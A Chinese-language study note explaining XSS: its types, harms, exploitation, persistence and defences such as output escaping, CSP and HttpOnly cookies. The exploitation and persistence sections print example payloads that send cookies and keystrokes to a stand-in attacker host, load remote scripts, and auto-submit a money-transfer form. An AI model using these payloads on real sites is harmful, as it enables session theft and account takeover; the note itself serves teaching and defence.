Web漏洞知识梳理笔记--XSS漏洞原理、类型、危害、利用方式、权限维持、防御措施等
XSS漏洞概述
跨站脚本攻击(Cross-Site Scripting, XSS)是一种常见的网络安全漏洞,攻击者通过在目标网站上注入恶意脚本,使其在其他用户的浏览器中执行,从而窃取敏感信息、劫持会话、伪造用户身份等。
一、XSS 漏洞的原理
XSS 漏洞的产生主要是因为 Web 应用未对用户输入的内容进行有效的过滤和转义,使得恶意代码被插入到正常的网页中。攻击者利用 XSS,可以让浏览器执行恶意代码,通常是 JavaScript,但也可能包括 HTML 或其他脚本。
- 受影响点:包括但不限于输入框、搜索框、评论区、URL 参数、HTTP 头信息等。
- 核心原理:在 Web 应用将用户输入的数据返回给前端时,未对这些数据进行安全处理,导致恶意脚本嵌入页面中并被执行。
二、XSS 的类型
1. 反射型 XSS (Reflected XSS)
- 描述:恶意脚本通过 URL 或参数传递给服务器,并在响应时直接返回到浏览器。
- 特点:脚本不被存储,只有用户点击带有恶意脚本的链接时才会触发。
- 示例:
http://example.com/search?q=<script>alert('XSS');</script>
2. 存储型 XSS (Stored XSS)
- 描述:恶意脚本被存储在目标网站的数据库或文件中(如评论、文章等),当用户访问相应页面时脚本被执行。
- 特点:脚本存储在服务器上,影响范围广。
- 示例:
- 攻击者在评论区输入:
<script>alert('XSS');</script>
- 所有访问该评论的用户都会触发 XSS。
- 攻击者在评论区输入:
3. DOM 型 XSS (DOM-Based XSS)
- 描述:攻击代码通过修改浏览器端的 DOM 环境触发,完全在客户端执行,与服务器无关。
- 特点:不依赖服务器响应,通常发生在前端 JavaScript 处理时。
- 示例:
- 攻击者提供的链接:
http://example.com/#<script>alert('XSS')</script>
- 如果网站的前端代码未对 URL 片段安全处理,则可能直接执行脚本。
- 攻击者提供的链接:
三、XSS 的危害
- 用户信息泄露:
- 窃取用户的 Cookie、会话标识等敏感信息。
- 用户账户劫持:
- 利用窃取的身份信息,冒充用户操作。
- 恶意重定向:
- 将用户引导到钓鱼网站。
- 植入恶意代码:
- 注入其他类型的恶意脚本,例如键盘记录器。
- 系统资源消耗:
- 通过 XSS 执行繁重任务导致资源耗尽,甚至 DoS。
四、XSS 的利用方式
-
窃取 Cookie:
- 利用脚本获取用户的 Cookie 并发送到攻击者服务器。
<script>document.location='http://attacker.com?cookie='+document.cookie;</script>
-
伪造表单提交:
- 冒充用户提交表单,执行恶意操作。
<form action="http://example.com/transfer" method="POST"> <input type="hidden" name="amount" value="10000"> <input type="hidden" name="to_account" value="attacker"> </form> <script>document.forms[0].submit();</script>
-
劫持用户输入:
- 监听键盘事件,记录用户的输入(如密码)。
<script> document.onkeypress = function(e) { fetch('http://attacker.com/log', {method: 'POST', body: e.key}); } </script>
-
加载恶意脚本:
- 动态加载远程恶意 JavaScript。
<script src="http://attacker.com/malware.js"></script>
五、XSS 的权限维持方式
-
劫持 Cookie 和会话:
- 通过 XSS 获取受害者的 Cookie,模拟其登录状态。
-
动态脚本注入:
- 注入恶意代码,确保每次页面加载时都能触发。
<script> document.body.innerHTML += '<script src="http://attacker.com/persist.js"></script>'; </script>
-
后门账户创建:
- 如果有权限操作,通过 XSS 创建持久性后门账户。
-
恶意持久化数据:
- 利用浏览器本地存储(LocalStorage/SessionStorage)存放恶意代码。
六、防御措施
1. 输入验证
- 检查用户输入的合法性,并拒绝非预期的内容。
- 使用白名单验证输入内容(如只能输入字母、数字)。
2. 输出转义
- 对输出到 HTML、JavaScript、CSS 中的用户输入进行转义。
- 示例:在输出 HTML 时将
<
转义为<
,>
转义为>
。
3. 使用安全编码框架
- 使用诸如 OWASP 提供的编码库(如 Java 的 ESAPI)。
- 在模板引擎中,启用自动转义功能。
4. Content Security Policy (CSP)
- 设置 CSP 标头,限制脚本来源。
- 示例:
Content-Security-Policy: script-src 'self' https://trusted.cdn.com
5. Cookie 设置
- 设置 HttpOnly 和 Secure 属性,防止通过 JavaScript 窃取 Cookie。
Set-Cookie: sessionid=abc123; HttpOnly; Secure;
6. 禁用危险功能
- 禁止使用
eval()
、innerHTML
等可能执行用户输入的功能。
7. 定期漏洞扫描
- 使用工具(如 Burp Suite、Acunetix)检测 Web 应用中的 XSS 漏洞。
8. 教育开发人员
- 提高开发人员的安全意识,避免在代码中直接拼接用户输入。